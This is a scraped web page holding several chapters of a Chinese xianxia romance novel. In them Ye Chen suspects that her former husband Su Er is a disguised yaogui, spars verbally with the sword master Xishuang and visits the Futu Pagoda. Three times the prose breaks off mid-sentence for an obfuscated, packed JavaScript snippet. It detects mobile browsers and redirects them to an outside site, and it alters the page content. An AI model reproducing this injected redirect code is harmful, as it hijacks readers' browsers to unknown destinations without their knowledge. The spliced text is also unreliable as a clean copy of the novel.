叶琛听了,摇摇头,诚实道:“也不用收尸的,谁不是天生地养,死了化作一盘土,归葬天地,也挺好。” 人都死了,何必再麻烦人家给自己收尸呢,活着尚且恩怨难清,死了还要再欠一笔债吗? 她这么随便想了想,就听到洗霜冷冷道:“好,我不去给你收尸,也不必为你担惊受怕。” ......? 他刚说完,叶琛就倏地抬起眼,认认真真地审视他。 精神高度集中的时候,往往会注意不到身边其他响动,叶琛完全听不到咕噜噜的流水声,焰火的爆炸声,还有小鱼吐泡泡的声音。 她此时心里只有一个念头——洗霜刚才说,担惊受怕? 叶琛缓缓皱起眉。 她以为自己听错了,但是脑子里不断转圜的余音又告诉她没错,她方才听到的就是这句话,可正因为她没听错,这事才变得愈发离奇起来。 她张了张口,却发觉喉咙有点干,说不出一句话,于是又闭上嘴,干咽了一口唾沫,声带总算湿润一些,能开口说话了。 而就在这时,一阵剧烈的焰火升空声在叶琛耳边炸裂开来,数串火球拖着耀目的长尾升上天空,发出响亮的咆哮,浮屠城内外都明亮起来,几尾小鱼“嗖”地一下钻进河底,不敢出来了。 叶琛将欲出口的话也湮没在这阵爆炸声里。 最初几串火球只是预兆,逐渐地,不断有新的火球升上天空,大大小小的火球一块迸裂开来,喷爆出一道道金星雪浪,亮如白昼,数不尽的火星倾倒入幽茫夜色,星河滚烫,亘古不变。 这晚洗霜没有再说话。 新的一年到了,旧事也该翻篇了。 叶琛本来是这么想的,所以这夜剩下的话也自己吞了下去,不想再拿出来讨论,陈年旧事,讨论也讨论不出结果的。 只会徒增争吵而已。 叶琛还打算这几天先把伤养好,再看看能不能接触到佛宝,还有之前想从佛圣那里找解除剑契的办法,也该提上日程了。 季知年他们没有死在佛子的秘境里,之后就算妖鬼再次入侵巫镇,他们也有一战之力。 叶琛自觉后面的事情都已经安顿好,只有一件事她还在犹疑——洗霜那句话,到底算怎么一回事? 她从河边回来,心里就憋了一肚子的话想问,但一看洗霜的脸色,什么都问不出口,所经之处屋檐都挂上重重冰凌,叶琛还听到有户人家开门,看到屋檐结了一层冰,犹豫地问:“下雪了?” 直到回到客栈,洗霜把从医馆拿回的药给她,客栈老板收了钱,把药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881505|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熬好送到她门外,叶琛也没能问出一个问题。 她端起热腾腾的药碗,一只手包得粽子一样,就只好用另一只手端着喝,一碗药下去,喉咙到舌苔都是苦的,伤口处密密麻麻的痒意倒是褪下许多。 她就不由得再次想起河边洗霜说的那句话。 韩子仪揣着手,房里没有别人,就很随意地飘在半空中,点评道:“这意思不是很明显?你总不拿自己当回事,但显然有人很拿你当回事。” 叶琛把药碗搁在床头柜上,轻轻摇头:“韩前辈,我并不是不拿自己当回事,只是比起大多数人,没那么容易死,所以平常那套规则对我来说也不太适用。” 她指了指自己脖子,对他说:“你看,这里先前还结了一层痂,现在已经掉了,完全看不出痕迹。” 韩子仪平静地扫了她一眼,吐了口白气:“这话你别和我说,谁让你今晚睡不着觉的,你去和谁说。” 叶琛就缓缓收回手,不说话了。 韩子仪靠在墙边假寐,叶琛却直到夜空静寂下来,都没有一点睡意,脑子太清醒,就容易反复翻炒同一个问题——洗霜?担惊受怕? 叶琛完全没办法将这两个词联系在一起。 洗霜是谁啊,万剑阁阁主,她第一次上万剑阁的时候,求了人家老半天,这位剑首都不见动容,后来不知怎么又答应了,下了山也是一路冷脸,一言不发,像座冰雕的神像。 叶琛就尽量少去讨他的嫌,偶尔有几次没收住手,把这位剑首惹毛了,她就悻悻地给他赔礼道歉,后来次数多了,他不收她的礼,也不接受她的道歉,她就不知道该怎么办了。 叶琛也试过尽量少惹洗霜生气,但是很多时候不是她不想惹事事就不会来惹她的,她又不想那些乌七八糟的事情捅到洗霜面前,干脆自己在外面解决了,有几次回来时被洗霜发现,她看到他脸色顿时变得五彩缤纷,就明白自己又搞砸了。 所以后来她就想,她和他大概是真不合适,但是剑契结起来容易解起来难,一直拖到后面她要给苏二换命才正式和洗霜说。 结果她每说一句,他脸色就越冷一分,到最后整座屋子都挂满冰锥,她脸上也挂着细小的霜花。 和今晚一样。 叶琛想着想着,思路就慢慢跑偏,想起前世和苏二的种种相处,她第一次见到苏二,似乎也是一个节日,满城灯火如龙,他站在河边看灯,结果被突然蹿出的妖鬼抓下河去。 叶琛那时也在河边放灯,看到妖鬼吃人,没有不救人的道理,于是一个人下河把人捞上来,那只妖鬼也被她一剑捅死,苏二公子被她拎着后颈皮丢上岸,过了许久才醒过来。 他的后颈很凉,和洗霜那种冰雪的寒意还不一样,是一种深入骨髓的寒气,仿佛这人来自幽冥地狱,从骨子里散发出黄泉的冷意。 叶琛当时没细想,可今日再次在灯火帷幕中见到苏二,心里就浮出从前一掠而过的疑问。 她一骨碌从床上爬起来,推了推韩子仪的肩:“韩前辈,你说,世上有什么东西,是比冰雪还冷的吗?” 30. 六 “她胆子未免太小了。”苏明仲倚靠着扶栏,视线往下一扫,望着底下燃烧的烟花坊,“我喊了她一声,她转身就跑,我还以为她是害怕我,结果转身一看,烟花坊炸了。” 大大小小的火球从地面升上夜空,炸成一片,颇为壮丽,褚离站在栏杆边看了一会,才淡声道:“她才十几岁,胆子小不是很正常?要是胆子太大,你从她身上拿剑骨未必好拿。” 苏明仲耸了耸肩:“我看未必,万剑阁那个剑首把她看得太死了,逛个街还要拉着手,黏黏糊糊的。” “她身上有剑骨,对灵剑有特别的吸引力,万剑阁阁主怕是都不明白自己为什么被她吸引。但是,你就不会挑人家没黏在一起的时候吗——” 褚离漫不经心的语调忽然中断,眼皮一掀,看向从楼下走上来的人,瞬间变了副神情,苏明仲见他又装出一副温柔师兄的样子,心下想吐,自然转过身要走:“既然是天音楼内部事务,我回避吧。” 乐知笑着喊住他:“不是什么大事,还和苏公子你有关,一块听听吧。” 苏明仲神色为难,又被跟着乐知上来的紫衣少年一把搂住肩膀:“哎呀,我师姐都说了,你就留下来听听呗!” 褚良玉下了力气,只见他神色一变,一瞬阴沉下来,又迅速转晴,长长吐出一口气:“既然如此,苏某恭敬不如从命。” 这时,褚离回头看了他们一眼,淡声道:“褚良玉,你安分些。” “哦,好吧。”褚良玉悻悻收回手,又回到乐知身后躲着。 乐知上来和褚离商量的事确实不是什么大事,却宜急不宜缓,还和苏二公子有着千丝万缕的联系。 天音楼在四圣地中风头最盛,不仅因为其最为入世,更因为其豪横无比,不仅在每座大型城池都设有珍宝阁作为据点,楼中弟子还几乎人手一件开过灵的乐器,灵石当炭烧,钱多得花不完。 而支撑其财力的,是天音楼名下几处灵脉,在天地灵气日益稀薄的末法时代,没有人不眼馋这几处灵脉,但都因为天音楼素有积威,谁都不敢当这只出头鸟。 洛陵苏氏,就管着其中一处灵脉。 这也是乐知最开始没有明面反对褚离把一个凡人带在身边的原因,苏二代表的不是他自己,而是天音楼某处财产的代管者,这份财产还格外重要,必须同天音楼保持密切联系。 而乐知今日来找褚离,问题就出在这处灵脉上。 乐知:“本来这事是不想劳烦褚师兄的,但毕竟是灵脉,洛陵的苏公子又在这里,我便来说了。珍宝阁传来消息,洛陵代管的那处灵脉,被人切断了。” 断人灵脉,无异于断人子孙,还比这严重得多。毕竟香火断了也就断了,王家不能生还有李家能生,但灵脉一断,源源不绝的灵石和灵气也就少了一大截。 这对于天音楼而言,无疑是个相当坏的消息。 褚离果然皱起眉:“抓到人了吗?” 乐知摇头:“没有,驻守在洛陵的弟子来报,那人修为似乎很高,切断灵脉就走了,完全找不到人。” 褚离捏了捏眉心,淡声道:“既然没有抓到人的可能,就让他们别在这件事上费心思了,加强其他几处灵脉的守卫,这人既然做了一次,就一定会做第二次。” 乐知点头答应,目光自然地落到苏明仲身上,道:“苏二公子出身洛陵,应当对本地很熟悉,之后天音楼会派弟子去洛陵了解情况,还望苏公子不吝相助。” 苏明仲朝她微笑道:“仙师何必客气,这是苏氏应该做的。” * 下楼,乐知脚步一向很快,褚良玉有些跟不上,追在后面,小声道:“师姐,你觉得那苏二有问题?” 乐知默了半晌,道:“看不出来,洛陵那边的消息今夜才到,按时间推算,灵脉被人切断也是半月前的事情了,我只是觉得这太巧了,前脚褚师兄因为他耽误了秘境,后脚洛陵就出了事。” “看天音楼不惯的人有很多,但珍宝阁的弟子完全没办法的修士,举世无几。”乐知说完,回头看了褚良玉一眼,眼皮跳了跳,“你在做什么?” 褚良玉无辜抬头,眼尾斜斜飞出一抹绯红,如花楼姑娘的妆笔:“我在想是谁切断了洛陵的灵脉啊。” 他一只胳膊在灵山受了伤,如今被包成大号粽子,只剩一只手能用,便只好咬着卷轴一角,缓缓拉开,艳色的唇咬在羊皮卷轴上,睫毛纤长浓密,如女孩子一般漂亮。 乐知顿了顿,帮他拉开那份卷轴,展开,是一份东州舆图。 “洛陵附近并无大小仙门,就算有,也另择他处了。”褚良玉指尖划过洛陵所在的方城,轻轻一点,落在城外西南方向,“但如果眼光放远一点,这里,是苍云山。” 苍云山和洛陵所在的州城直线距离并不远,但二者间隔了一道天堑,是以二地一直不相往来,但如果有人无所谓这道天堑呢? 乐知眼睫飞快地眨了一下,直接点明:“你怀疑万剑阁?” 褚良玉:“师姐,你觉得苏二是家贼难防,我却觉得苍云山同洛陵挨得这么近,难道就不曾起过心思?毕竟我们知道,灵脉这东西,是可以移走的。” “再者,我今日试过他了,他身上灵窍都被堵住了,没有半点登仙的可能。” 一个灵窍都不通的凡人,偷灵脉干嘛?太监逛青楼——闲得慌? 乐知沉吟片刻,道:“万剑阁向来低调,我们并无证据,这只是凭空猜测。” 褚良玉笑了一声,收起卷轴,眼里闪着亮色的光:“万剑阁的人外头是少见,但眼下浮屠城不就有一位吗?哦,还和我见过的那位小美人在一起。” 乐知看到他这副神情就知道他在打什么注意,眉心一跳:“你这话在我面前讲讲也就算了,叶道友性情温和不会打你,你若是去那位剑首面前讨打,我不会给你说情的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903787|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 褚良玉眨了眨眼,笑道:“我怎么会去找他,冷冰冰的一张扑克脸,多没趣,我要讨打,也是去叶姑娘面前讨。” * “比冰更冷,比雪更寒?没见过。”韩子仪毫不留情地打破了叶琛的幻想。 叶琛再次求他:“前辈,你再想想,你活了这么久,没见过也听过的吧。” 韩子仪摇了摇头,阖上眼:“前几千年我窝在山里研究阵法,后几千年洛婉托生何处,我便在哪。我又不像佛子他们四个满东州游历,怎么会听过。” 叶琛思考片刻,换了种问法:“那前辈,你知道有哪种阵法,可以让人死而复生吗?” 韩子仪倏地睁开眼,目光审视地落在她身上,半晌,才道:“你要用招魂?复活谁?” “不是招魂那种,”叶琛捏了捏手指,心想韩子仪这眼神,怎么像如果她说是,他就打算给她招魂的阵法图一样?算了不想,她跳过这节,解释道:“我是说,那种能让人重生到许多年前的阵法,不是招魂这种代价如此之大的。” 叶琛感觉自己刚刚说完,韩子仪的眼神就变得幽深起来,他眼中原本盛着一潭死水,此时,却泛起道道涟漪。 “没有能让人重生的阵法,”韩子仪语气静了一瞬,许久,才淡淡道,“你说的,是‘往生’。” 叶琛第一次听到这个词,眼神一动,韩子仪却没有解释的意思,她刚想深入地问下去,门外就传来几声“笃笃”的敲门声。 叶琛想起昨夜客栈小二是和她说过今天早上会来送药,但此时显然不是喝药的时候,她顿了下,对门外道:“放门口吧,我等会出来拿。” 门外的敲门声止住,下一刻,门被从外面推开。 叶琛往门口看了一眼,顿时愣住了。 洗霜站在门口,淡淡地望着她,目光从她身上扫过,落到床头柜空着的药碗上,又回到她身上,陈述道:“你似乎并不需要睡眠。” 窗外淡淡的晨曦透进来,天已经亮了,叶琛看着他,眨了眨眼,勉强扯出一个笑:“年轻人嘛,身体好。” 此时看着他,叶琛又想起昨天晚上那句话——按道理来讲,不管是她怀疑自己听错了还是理解错了,最方便的解决办法肯定是向当事人求证,但是叶琛又觉得这样有些没面子。 她为了洗霜一句话半宿没睡着? 丢人丢到家了。 为了不丢这个人,叶琛干脆道:“我昨夜想起苏二,所以没睡着觉。” 她刚组织好语言,打算把自己一整夜的怀疑和盘托出,就感觉面前逼近一股寒气,洗霜走近,认真地盯着她看了一阵,语气莫名:“你不仅睡不着觉,还把脑袋睡坏了?” 叶琛:“???” 怎么还人身攻击呢? 她缓缓皱起眉,又听到洗霜淡声道:“你昨夜说,你对苏二并无恩情之外的情谊,今日又说,你想了他一夜,叶琛,我真是搞不懂你。” 31. 七 ......我想了谁一夜? 叶琛眉头皱得更深,忽然发觉,自己和洗霜用的可能不是一个语言体系。 她转了语气,点头道:“我是想了他一夜,所以现在也想让你回忆一下,你还记不记得,我从河里把他捞上来那天,他是什么样子?” 前世叶琛去河边放灯,是和洗霜一块去的,只是她在河边放,洗霜站得远远的看,河边人太多,叶琛就让他在外头等着。 说来也巧,叶琛放灯的位置正好同苏二挨得近,是以妖鬼从水下蹿出那一霎,叶琛是第一时间反应过来的人。 之后她湿淋淋地从水里出来,首先看到的就是洗霜仿佛结了层冰的脸,他不知何时已经从远处过来,看了她半晌,才从她耳边摘下一串枯黑的水藻,松手,那水藻就掉进湿软的河泥里,分不出谁是谁了。 他那时站得离河水很近,衣角也被水浸湿,叶琛险些以为他都打算下河捞她了,可是那晚洗霜一句多话都没和她说,直到第二天苏氏派人送来谢仪,他脸色才缓和一些。 叶琛也就不太好再问这句话了,问了又能怎么样呢,她隐隐觉得,自己不希望答案是“否”,也不太希望答案是“是”。 如今想起来,她又发现另一个视角——既然洗霜当初站得离河边很近,那苏二在河里是什么样子,被她杀死的妖鬼又是什么样子,他应该看得一清二楚。 洗霜听完叶琛的话,倏地抬眼,神色莫名:“我为什么会记得他?” 前世今生,两辈子加起来他都没和苏二见过几次,少有的几次碰面还是在叶琛那里,洗霜没在意过这件事,倒是叶琛从前说过苏二好像有点怕他。 洗霜就说,那让他走。 可是苏二不仅没走,后来还和叶琛成了亲,长长久久呆在她身边,几乎成了她的挂件。 叶琛想起这茬,换了种问法:“那你当时在河边,有没有看到比较奇特的情况?” 洗霜:“没印象。” 叶琛犹疑地盯着他看,不太相信:“那你对什么有印象?总不会你只记得我披着头发像个女鬼一样在河里扑腾吧?” 洗霜没有点头也没有摇头,神色漠然,叶琛看了他一阵,福至心灵,忽然明白——真相就是如此。 叶琛像泄了气的皮球一样瘫在床上,半晌,才听到洗霜问道:“为什么问他?” “因为我昨夜突然想起来,苏二有点不对劲。”叶琛半躺在床上,掰扯自己手上的绷带,“他身上好冷,不像人的体温,我从前抱着他的时候他就这么冷,以至于我一直以为他是受了伤,内息紊乱导致的失温,但昨夜细想起来,我第一次见到他,他就是这样的。” 绷带一圈圈解开,露出半截被药水浸紫的指节,洗霜不自觉皱了皱眉,看到叶琛若无其事地把药粉换上去,重新缠上绷带,顿了顿,终究没说什么。 叶琛:“昨夜我们又见到了他,和从前一模一样的情景,我就在想,世上真有这么巧的事吗?” 洗霜目光轻轻移开,淡淡道:“一个人若是有破绽,便不可能只有一处。” 叶琛点头道:“是啊,所以我后来又想起来,他和我成亲后,一直有些古怪,我白日会去他住处给他渡灵力,直到有一天大雪把山路封死了,我便给他传信明日再去,谁知他那天晚上就自己一个人来找我了。” 苏二攥着她的手,问她既然对他并无情意,又为何答应他结契呢,叶琛就不明白,世上怨偶那么多,难道每一对都是因为情意成婚的吗? 他想做她的丈夫,她让他做了,虽然这并不足以抵消她欠他的一条命,但叶琛委实觉得自己尽力了。 这是叶琛第一次详细讲自己昔日的婚姻生活,洗霜微微侧过脸,即使叶琛讲到高.潮处也没什么表情,看不出心里是何想法,许久,才道:“你们听起来和怨偶也并无差别。” 叶琛摇头:“不,你不懂,人族的怨偶是可以几十年不讲话但生一堆孩子的,我和苏二显然没有到那个境界。” 怨偶谈不上,顶多,算搭子吧。 叶琛很有自知之明。 她继续说:“那天晚上,我半夜醒来,就看到苏二看着我,他眼睛里很忧愁,问我如果他没有受伤,会不会想要亲吻他,凌辱他,对他放肆一些。” “我就不懂,”叶琛摊开手,“你说,世上怎么会有人想被糟蹋呢?” 这时,一直靠着墙假寐的韩子仪忽然睁开眼,听不下去似的对叶琛道:“他不是想你糟蹋他,他是想和你双修。” 叶琛怔愣片刻,眼皮跳了跳:“可他又不是修士,和我双修有什么用?” 嫌自己命太长吗? 双修也是修炼法门的一种,修士间常称之为神交,要求修士间有完全的信任,才能进入彼此识海,帮助对方冲破修炼瓶颈。 但是苏二并不是修士,一旦进入叶琛识海,不出一刻就会因为灵力冲撞变成傻子。 叶琛轻轻摇头:“韩前辈,苏二是个凡人,怎么可能双修呢,你莫要诓我。” 韩子仪掀了掀眼皮,平静道:“他真的只是个凡人吗?” “这是当然,我当初特意试过他灵窍......”叶琛不假思索回答,话刚出口,顿了顿,又开始犹疑,“一个灵窍全封住的人,怎么能被我拿灵力吊着命呢?” 灵窍全封,便是堵死了登仙之路,世间灵气于他全然无用,叶琛的灵力当然也是一样。 洗霜看了她一眼,淡声道:“他既不是修士,也不是凡人,那他是什么,你心中该有答案了。” 世间生灵分为两种,一种生而有灵,譬如虫蛇鸟兽,譬如人族;另一种则是死物集天地之精生出的灵智,譬如眼前的这位剑首。 还有一种跳脱二者之外,不入五行之中,五千年前甫一出世,就引得人世动荡,仙门侧目。 那是如今偶尔被人提起,仍会引起一片嘘声的“妖鬼之祸”。 “苏二很可能是只妖鬼”这念头一起,就如在湖心丟了一大捧烟花爆竹,炸得泥水四溅,鸡飞蛋打。 叶琛脑子里顿时乱成一团浆糊,直到下楼吃饭时还没完全缓过来,一边借着同桌的机会把之前洗霜落在她这的锦袋还给他,一边捞起碗里的面条塞入口中,想到自己难道毫无所觉地把一只妖鬼留在身边如此之久,甚至和他成了婚。 可是望着对面人无所动容的神色,她又慢慢平静下来,思绪不再乱飘,倒是想起一件事,皱眉道:“我记得,前夜你解开结界,灵压之大,在场没有几个人能直起身,除了苏二和与他一道来的那个人,他们倒是完全不畏惧霜境强行撞开那一瞬磅礴的灵压。” 那一夜叶琛心思大部分在洗霜那个不好回答的问题和她欠的交代上面,并没太注意苏二和天音楼的人,如今再想起来,事事都充满疑点。 比如,苏二是如何在无所遁逃的灵压下仿若无事发生的。 而结合之前苏二很可能是伪装成人族的妖鬼,他能无视霜境强行解开的灵压,修为又该到了何等地步? 叶琛碗中的面慢慢结坨,洗霜掀起眼皮,凉凉道:“你再不吃,汤都干透了。” 叶琛看了他一眼,“哦”了一声,低头慢慢把面条扒进嘴里,嚼不出什么滋味,又道:“你解开霜境时,有没有发觉苏二有哪里不对?” 洗霜淡声道:“他一直在看你。” 叶琛倏地抬起眼,一根面条从碗里甩出来,汤汁溅到桌面,对面人袖口也被溅上几点油斑。 洗霜轻微抿了下唇,抽出一张纸擦掉溅出的汤汁,说完后半句:“他也许想再认识你一次,说不定你就跟他回洛陵了。” 叶琛不明所以地望着他:“我怎么可能跟他走?” “不和他一道,那你打算和你师兄一道?”洗霜淡淡看了她一眼,“我提醒过你,季知年现在未必拿你当师妹看。” 叶琛停下筷子,顿了顿:“我明白你的意思,今时不同往日,但我也未必要他拿我当师妹看,拿我当普通道友也是一样的。” 洗霜不置可否,叶琛看了他半晌,他也不说话,只好自顾自说下去:“所以现在最关键的问题还是在苏二身上,我在想,他为什么要装成人接近我。” 叶琛最开始对苏二印象不错,苏二很爱在她耳边念些她听不懂的诗,后来又教她写字,有一次他忽然问她,如何看待妖鬼之流。 她告诉他,妖鬼对她来说是必须要处理的灾祸,人族最开始修道,就是因为妖鬼为祸人间。 那天苏二的眼神很复杂,好像对她的回答不满意,但是最后也没有多说什么。 可是现在......如果苏二最开始就是伪装成人和她交往的话,那天他问她的那个问题就更像是一种试探,叶琛不自觉皱起眉,难道苏二怕她因此憎恶他,所以就一直装成人的样子了? 这时,洗霜忽然喊了她一声,叶琛倏地抬头,洗霜目光轻轻点了点她面前的汤碗,半碗面结成坨,表面浮着凝固的油脂,已经凉透了。 天气冷,汤面刚端出来还是热的,放一会热气就没了。 但即使是这样,也比前段日子跟着那制毒的老头吃得好多了,叶琛端起碗就打算连汤带面囫囵喝下去,洗霜皱着眉把她的碗拿下来,又给她叫了一碗热粥,叶琛思绪被打断,望着面前一碗面一碗粥摸不着头脑。 粥是蜜豆和黑米熬的,闻起来十分香甜,叶琛在一种莫名的压力下端着碗慢慢喝完了自己的早饭,那压力才消弭干净。 可是刚刚喝完,叶琛才反应过来——不是,喝碗粥而已,她为什么会有压力啊! 叶琛从碗沿边上探出头,偷偷看对面,想找到让自己感觉压力的源头,结果发现就在她喝粥这会,洗霜已经不在原本的位置上了。 她心中一动,目光飞快地在周围搜寻,很快在柜台前找到了一道白色的身影。 叶琛看到他和柜台前的人交谈了几句,然后掌柜的就笑容满面连声道好,洗霜回到她身边,叶琛才问道:“你和掌柜说了什么?” 他能高兴成那样?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916131|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 洗霜拿出一个被血污了一半的锦袋,在叶琛面前晃了晃,平淡道:“结你前几日的房钱和饭钱。” 叶琛蹙眉道:“房钱我之前结过的。” 所以干嘛要再结一遍啊! 洗霜顿了下,目光转向门口,修士越来越多,大多是从灵山秘境出来到处找地方投宿的,他看了一眼就收回目光,垂下眼,若无其事地说:“结都结了。” 叶琛:“......” 算了,他最开始锦袋里都没有铜钱和银锭,可能根本不在乎这些,叶琛不再去思考这个问题,转而道:“今日你打算做什么,别告诉我你又要拉我去医馆。” “不去医馆,”洗霜轻微摇头,看向天边隐隐透出的金色塔尖,叶琛也看过去,语气凝滞起来:“那是......浮屠塔?” * 自从前夜洗霜和叶琛两人前后离开灵山,又引出后面一大堆事,叶琛险些都要忘记自己原本来浮屠的目的了,这时候听洗霜提起,又想起自己两位师兄师姐,一时又不知道去哪里找他们,用过早饭,走在街上,目光仍然四处张望,却没能在游街的人中望见熟悉的面容。 想找的人找不到,意想不到的人倒是闷头撞了上来。 叶琛今日本来要去浮屠塔,却在路上意外碰到褚良玉,褚良玉这人又惯会看人下碟菜,只一个劲围着叶琛转,叶琛不好不理他,一路下来,两人保持着他三句她一句的频率,也勉强算聊得火热。 快到浮屠塔时,洗霜停下脚步,冷淡地瞥了褚良玉一眼,不咸不淡道:“还有多少话,你们在外面说完。” 叶琛知道他不喜喧闹,这里又是佛门重地,转头对褚良玉说:“我们要去浮屠塔,难道你也要去吗?我听说浮屠塔供奉的佛宝对妖鬼有净化之效,你虽不算全然的妖鬼,但也说不准会被误伤。” 世人对“妖鬼”二字闻之色变,但妖鬼中又有不少善于伪装,混入人族聚居地,乃至与人相交,诞下后代。这种故事一般都是以悲剧收尾,妖鬼哪有什么人情伦理,但故事中的小孩就可怜了,有许多少时承受不住两种血脉相冲就夭折的,即使健康长大,也多半受人歧视。 叶琛无意窥探他人隐私,褚良玉是天音楼的人,如今又并未干出伤天害理的事情,她就姑且把他当作同族看待,但看作是一回事,真的是同族又是另一回事。 比如人人都能进的浮屠塔,他就进不去。 褚良玉依旧笑眯眯的,望着她:“我在外头等你就好了,过会到饭点了,叶姐姐,你想吃什么?浮屠城最有名的两家酒楼一家肉菜做得好,一家素菜做得好,你想吃哪家?” 叶琛还真被他说得有些饿,但她此时又不是一个人出来,侧过脸瞧了一眼洗霜,看不出他什么意思,只好道:“之后再决定吧,你想去就去,不必等我。” 褚良玉慢悠悠地摇了摇头:“我哪里是想去,我是想和叶姐姐你一块去,一个人吃饭有什么意思。对了,你今日怎么忘了佩剑,你们剑修不是剑不离身的吗?” 叶琛:“......” 哪里是忘了,是她根本不好意思开口和洗霜要那把剑。 当然洗霜也不会给她就是了。 叶琛刚想扯个理由搪塞过去,就听到褚良玉道:“刚好这几天珍宝阁新到了一批剑器,据说是古战场的遗物,叶姐姐赏个脸呗,让我做个东。” 叶琛闻言就要摇头:“哪里好让你破费,珍宝阁的东西应当不会便宜。” 褚良玉却从怀中掏出一块玉牌,笑道:“又不是走我的账,珍宝阁是天音楼的东西,这次出来都是走公账,有便宜不占王八蛋,你说对不对?” 叶琛:“......” 原来如此,她竟然有点心动。 这两个人聊得热火朝天,洗霜只站在墙边,离他们有一段距离,一副完全没兴趣的样子,半晌,那边还没结束,他才微微侧过脸,看了他们一眼。 单这一眼,褚良玉那句话就直直撞入耳中。 洗霜缓缓皱起眉。 珍宝阁?古战场遗物? 叶琛到底在搞什么? 这几个念头还没转完,叶琛已经结束了和褚良玉的太极,两人言笑晏晏地道别,直到叶琛走到洗霜面前时,脸上笑容还没完全消退。 她一抬头,就看到洗霜不太好看的脸色,他皱着眉,沉声道:“你要去珍宝阁?” 叶琛怔了下:“什么珍宝阁?” 洗霜对她此时的神情无比熟悉,过去,叶琛想做某件事但不想让他知道,就会如此糊弄过去,这时也是一样。 他心里笑了下,转过脸,冷淡道:“你要去就去,何必又拿这套出来,但你去了之后,身上染了别的什么,下次找我借剑,剑未必会认你。” 说完,他没有停留,直接跨过浮屠塔的门槛。 叶琛在原地杵着,不太明白地望着他的背影。 不是,谁给他气受了吗? 怎么跟个炮仗一样,一点就着。 32. 八 叶琛并没费多少力气就追上了洗霜,因为两人都被拦在浮屠塔外,一个都进不去。 叶琛看着眼前来来去去的僧侣,随手抓了一个问:“浮屠塔为何不许人入内?” 那僧人一看问他的是个小姑娘,顿起轻视之心,摆摆手:“回去吧回去吧。” 他一把挣开叶琛,顺便翻了个白眼,转身要走,却见不远处小门走出一个带发老僧,声音厚重庄严,喊住他:“慧能,不得无礼。” 叶琛转过头,一看,眼睛顿时直了——这不是前夜街边摆摊卖糖画的老头吗? 那老头认出她,朝她笑了笑,道:“平常人来佛寺,不为求财,便为求情,你却并不为二者所扰,姑娘,你来是为了谁呢?” 叶琛心想,你哪里能看出我不求财了,她明明是个穷光蛋啊现在。 不过老头这话也没说错,她最开始想去浮屠塔,是为了上辈子害死她的佛宝,但方才知道苏二是妖鬼,佛宝这事又变得无关紧要起来。 她如今来浮屠塔,更多的是想问问剑契如何解除。 浮屠塔好歹是四圣地之一,佛宝则是佛圣的遗物,总是能问出点东西的吧。 叶琛没和这老僧讲这么多,只道:“我是想来见一见佛宝,我听闻佛宝能给出世上一切问题的答案,我被某件事困扰已久,只希望能得到这个答案。” 话音刚落,却连方才翻白眼的小和尚都瞪大了眼睛望着她。 半晌,他才吞吞吐吐道:“可是施主,佛宝就只是佛圣留下的舍利啊,哪来的答案?” 他转了转眼珠,又回头和老僧对视一眼,脸色明摆着——这姑娘,是傻了吧? 他这时又觉得这小施主怪可怜的呢,被人骗了不说,还丢脸丢到佛寺来,看,现在都怔得说不出话来了吧。 慧能念了一声佛号,才道:“施主,你听谁和你讲的,那人一定是在骗你!” 叶琛缓缓回神,重复道:“是吗,都是骗我的?” 慧能:“那人不骗你难道我在骗你?施主,佛宝就是浮屠塔供奉的佛骨啊,怎么还能回答问题呢?是谁骗了你,我帮你诅咒他死后下拔舌地狱!” 叶琛深深吸了一口气,轻轻摇头:“不用了,多谢。” 她方才忽然想起,前世决定去盗佛宝,是因为某日去藏书阁找书时,正好碰着苏二。 他那时也在找书,见到她进来,同她温和地笑一笑,顺手把书架上一本字帖给她:“叶姑娘,这字帖适合你,你拿回去吧。” 叶琛那时候因为练了许多天字,却没有丝毫长进,早已放弃了,没想到她的老师还没有放弃,一时羞愧难当,腆着脸拿了字帖,才开始找书。 她边找书就边想,她欠了苏公子一条命,该怎么还他呢? 他愈在她眼前晃,她就愈发心慌。 欠了人家的就要还,没有生前的债带到死后的道理,她已经欠了一个叶婆婆了,总不能再欠苏公子,那时候她睡梦中都是到了地下,阎王爷面前勾画点墨,对她说,你欠他们的,叶琛。 烧红的镣铐套在她手上,脚上,烫起一圈天花似的泡,她身上难受极了,牛头马面拿鞭子抽在她身上,痛得要裂开。 可她死也是死不掉的,就这样捱着、捱着,捱到梦醒过来,第二天再在苏二面前装作什么都没有发生。 那阵子,她一见到他就胸闷气短,在藏书阁也是一样,最后已经忘了自己要找什么书,只拿了一本字帖和一份手札出来。 手札上记载了以命换命的办法和佛宝的相关记载。 